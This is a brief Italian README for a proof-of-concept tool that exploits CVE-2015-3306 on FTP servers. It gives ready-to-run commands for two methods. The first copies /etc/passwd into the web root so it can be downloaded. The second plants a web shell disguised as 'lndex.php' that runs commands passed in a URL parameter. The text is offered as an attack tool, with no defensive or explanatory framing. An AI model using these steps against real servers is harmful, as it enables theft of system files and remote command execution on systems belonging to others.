
Tool per sfruttare CVE-2015-3306
PoC di Daniel Aldana per lo sfruttamento di CVE-2015-3306. Bug segnalato da Vadim Melihow.
###METODO 1:
uso:
python cpx_proftp.py <IP> <REMOTE_ABSOLUTEPATH_SRC_FILE> <REMOTE_ABSOLUTEPATH_DST_FILE>
es:
python cpx_proftp.py 127.0.0.1 /etc/passwd /var/www/pass.txt
poi prova:
http://127.0.0.1/pass.txt
###METODO 2:
uso:
python cpx_proftp.py <IP> <REMOTE_ABSOLUTEPATH_WEBDIR>
es:
python cpx_proftp.py 127.0.0.1 /var/www/html
poi prova:
http://127.0.0.1/lndex.php?img=ls